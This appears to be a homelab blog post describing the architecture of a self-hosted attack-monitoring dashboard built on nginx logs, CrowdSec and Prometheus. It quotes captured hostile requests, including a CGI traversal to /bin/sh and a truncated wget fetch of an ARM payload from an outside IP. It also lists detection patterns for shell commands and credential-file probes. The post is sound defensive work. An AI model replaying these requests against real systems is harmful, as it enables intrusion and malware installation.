Security Dashboard — Architecture of a Self-Hosted Attack Monitor

Published on Apr 4, 2026

Security Dashboard — Architecture of a Self-Hosted Attack Monitor

My homelab runs behind a SWAG (nginx) reverse proxy with CrowdSec as the main bouncer. After seeing thousands of active bans accumulate — DDoS patterns, SSH brute force, CVE probes — I wanted visibility into what was actually hitting my server: which domains get targeted most, which attack paths keep showing up, which IPs keep coming back.

This post covers the architecture of the dashboard I built to answer those questions.

Table of Contents

The Stack

FastAPI Python SvelteKit Tailwind CSS Docker nginx Prometheus CrowdSec

LayerTechnologyWhy
BackendFastAPI + uvicornAsync, fast, straightforward — same pattern as my YTT project
Data sourcesCrowdSec LAPI, Prometheus, nginx JSON logThree complementary views of the same attack surface
SchedulingAPSchedulerBackground thread refreshes data every 5 minutes
FrontendSvelteKit 5 + Svelte 5 runesSPA served from the same container, no separate Node process
UIshadcn-svelte + Tailwind CSSDark theme by default — security dashboard aesthetic
AuthSWAG + Authentik forward authSSO gate in front of the reverse proxy
DeploymentDocker single container on UnraidSame pattern as the YTT project

The guiding principle is the same as all my other projects: one container, no external dependencies at runtime, deployed to Unraid via Compose Manager.

System Architecture

Two diagrams cover the full picture: how requests reach the dashboard, and how data gets collected inside it.

Request Flow

SWAG sits between the internet and everything else. Authentik forward auth runs as a sub-request on every hit — if there’s no valid session, SWAG redirects to the Authentik login page before a single byte reaches the dashboard. Let’s Encrypt handles SSL termination automatically.

Data Collection

All three sources live on the same Docker nginx bridge network, so collection is pure LAN — no external API calls, no internet dependency.

Data Flow

The refresh cycle runs every 5 minutes in a background thread:

Container starts → APScheduler fires immediately
Every 5 minutes:
  1. crowdsec.py   → GET decisions list from CrowdSec LAPI
                     → banned_ips dict with reason + origin per IP
  2. prometheus.py → query cs_active_decisions over last 24h at hourly steps
                     → 24-point timeline array for the ban chart
  3. nginx_logs.py → read last 100,000 lines of access.json
                     → parse, classify, aggregate by domain / IP / attack type
  4. scheduler.py  → merge all three, compute suspicious IPs, run watchlist detection
  5. cache.update() → atomic dict replace, timestamp stamped

API requests → served from cache instantly, no per-request data fetching

The Three Data Sources

CrowdSec  CrowdSec LAPI

CrowdSec is the first-line bouncer. The nginx-lua plugin runs inline on every request and blocks IPs that appear in the active decisions list — before a single line of Python runs.

The dashboard reads decisions via the bouncer API (read-only key) to get the full ban list. This gives us:

  • How many IPs are banned (~5,800 on a typical day)
  • The breakdown by scenario (http:dos, http:scan, ssh:bruteforce, http:exploit, etc.)
  • Whether a specific IP in the nginx log is already banned — enabling cross-reference: tag log entries with the CrowdSec scenario even when the request itself looked benign

For banning directly from the dashboard UI, a separate machine credential with write access is used (cscli machines add security-dashboard-rw). Read-only is the safe default.

Prometheus  Prometheus

Prometheus scrapes CrowdSec’s cs_active_decisions metric. The dashboard queries the last 24 hours at hourly granularity to build the ban timeline chart:

GET /api/v1/query_range
  query = cs_active_decisions
  start = now-24h  end = now  step = 3600s

This produces a 24-point array — useful for spotting spikes and correlating them with events.

nginx  nginx Access Log (JSON)

This is where the most interesting signal lives. SWAG writes a custom JSON access log with GeoIP2 fields appended:

{
  "ip": "159.223.73.209",
  "method": "POST",
  "uri": "/cgi-bin/.../bin/sh",
  "status": 400,
  "host": "rappedoos.com",
  "ua": "-",
  "country": "Singapore",
  "city": "Singapore",
  "country_code": "SG",
  "time": "04/Apr/2026:12:59:12 +0200",
  "req_time": "0.377"
}

The country and city fields come from SWAG’s built-in GeoIP2 database — no external API calls. The collector reads the last 100,000 lines (~12–48h at typical traffic volume), classifies each request, and builds aggregated views:

OutputDescription
by_domainPer-domain attack rate, top paths, top IPs, recent attacks
by_ipPer-IP profile: total requests, attack count, distinct attack hours, paths
by_attack_typePer-type breakdown: domains targeted, paths, IPs, user agents
recent_blocksRolling last 500 attack entries
top_countriesCountry → attack count
suspicious_ipsIPs crossing thresholds but not yet banned

Attack Classification

Every request is run through a classifier that assigns an attack type or None (benign). Priority order:

TypeWhat it catches
path-traversal../, %2e%2e — directory climbing
rce-attemptbin/sh, cmd.exe, PHP code injection patterns
config-probe/.env, /wp-config.php, /.git/config, /id_rsa
login-brutePOST to /login, /wp-login.php, /auth with 40x status
scannerKnown scanner UA strings: Nuclei, Masscan, Nikto, zgrab, 20+ more
cve-probeKnown CVE paths — CGI, phpMyAdmin, Spring, Log4j
suspicious400/403/404/429/444/499/500 catch-all

CrowdSec cross-reference runs after: if an IP is already banned but the request looks benign, it gets tagged crowdsec:{scenario} (e.g. crowdsec:http:dos) and counted separately. This reveals how many requests from banned IPs still reach nginx before the bouncer catches them.

A path intelligence lookup annotates attack paths with human-readable descriptions — so /cgi-bin/.%2e/.%2e/bin/sh renders as “Remote code execution via CGI directory traversal” instead of a raw URI.

Cache Architecture

Note

The dashboard cache is ephemeral — it lives entirely in memory and is lost on container restart. The sources themselves are persistent (CrowdSec has its own database, Prometheus has its TSDB), so data rebuilds on the next 5-minute cycle. The only file written to disk is /app/data/watchlist.json.

The entire dashboard state lives in a single Python dict. This is intentional:

  • Fast: API responses are a dict lookup, not a database query
  • Simple: no schema migrations, no ORM, no connection pool to manage
  • Acceptable tradeoff: data refreshes every 5 minutes from live sources; stale data for a few minutes is fine for a monitoring dashboard

Computational cost: reading and parsing ~5,000–36,000 JSON lines every 5 minutes takes well under a second on a homelab CPU. The 100k-line cap is a safety net that rarely triggers.

The Watchlist — Intermittent Attacker Detection

CrowdSec is excellent at catching burst attackers. But some IPs probe slowly — a few requests every few hours — deliberately evading rate-limit detection.

After each refresh cycle, the scheduler scans by_ip for IPs that are:

  • Not already banned by CrowdSec
  • ≥ 10 total attack requests
  • Active across ≥ 3 distinct hours in the 24h window

That last criterion is the key. An IP attacking at 8am, 2pm, and 8pm shows persistent intent spread across the day — very different from a one-time burst. Per-IP we track which hours attacks occurred: [8, 14, 20] means three distinct hours of activity.

When an IP crosses the threshold:

  1. Added to the watchlist — persisted in /app/data/watchlist.json (survives restarts)
  2. Webhook fires — IP, strike count, hour distribution, attack types sent as JSON
  3. Discord embed sent if configured — colour escalates orange → red → dark red with each strike
  4. Optional auto-ban via CrowdSec if WATCHLIST_AUTO_BAN=true

Bans escalate with each strike: 24h → 72h → 7 days → 30 days.

What the Error Log Shows

The nginx error log (error.log) contains two useful signal types that don’t overlap with the access log:

CrowdSec block confirmations ([alert] level) — confirms the Lua bouncer is working and shows which domain triggered the block:

[alert] [lua] crowdsec.lua:783: [Crowdsec] denied '43.159.141.150'
  with 'ban', client: 43.159.141.150, server: knowmore.*, request: "GET / HTTP/1.1"

Raw-IP scanners (auth request unexpected status: 404) — attackers hitting the bare server IP instead of a domain name. The vhost catch-all fails before proper routing, so some of these never appear cleanly in access.json:

[error] auth request unexpected status: 404, client: 167.71.152.75,
  request: "GET /login.cgi?cli=...wget http://37.48.254.120/arm7..."

The error log is not currently parsed by the dashboard — it’s planned as a future debug overlay on the IP detail page.

What’s Missing — Honest Limitations

Single log file, no history: Only the active access.json is read. Rotated logs are ignored. The 100k-line window covers roughly 12–48 hours. Anything older is invisible.

No time-series database yet: There’s no persistent history of daily attack counts, recurring IPs, or ban trends. “How many attacks last month?” has no answer today. Planned: a SQLite database (/app/data/history.db) with daily_stats, ip_daily, and ban_events tables written on each refresh cycle — enabling “IPs seen on 5+ of the last 30 days” and monthly attack trends.

No error log parsing: The nginx error log has useful signal (raw-IP scanners, CrowdSec block confirmations) but isn’t parsed yet.

Deployment

Same pattern as the YTT project: local multi-stage Docker build, save as .tar.gz, scp to Unraid, load, restart via Compose Manager.

Stage 1 (node:22-alpine)   → pnpm build  (SvelteKit → static files in /app/static)
Stage 2 (python:3.12-slim) → pip install (FastAPI, uvicorn, httpx, apscheduler)
Stage 3 (python:3.12-slim) → copy everything, run as UID 99:99 (Unraid nobody:users)

SWAG proxies security.rappedoos.com → http://security-dashboard:8100 with Authentik forward auth on every location block. One process, one port, one container. The nginx log volume is mounted :ro — the dashboard can never accidentally write to the log it reads.

Summary

ConcernApproach
Data freshness5-min APScheduler refresh cycle
PersistenceIn-memory cache (ephemeral) + watchlist JSON (permanent)
Attack data windowLast 100k log lines (~12–48h)
HistoryPlanned: SQLite with daily aggregates + per-IP timeline
Ban integrationCrowdSec LAPI read + optional machine write
NotificationsDiscord embed + generic JSON webhook
AuthSWAG + Authentik forward auth (SSO)
DeploymentSingle Docker container, Unraid Compose Manager

It’s a “what’s happening right now” tool, not a SIEM. For a homelab with 5,000+ active bans and constant scanning noise, that’s exactly what’s useful.


This is the first post in the Security Dashboard series. Future posts will cover Unraid server hardening — nginx configuration, CrowdSec scenario tuning, and setting up Authentik as a forward auth proxy.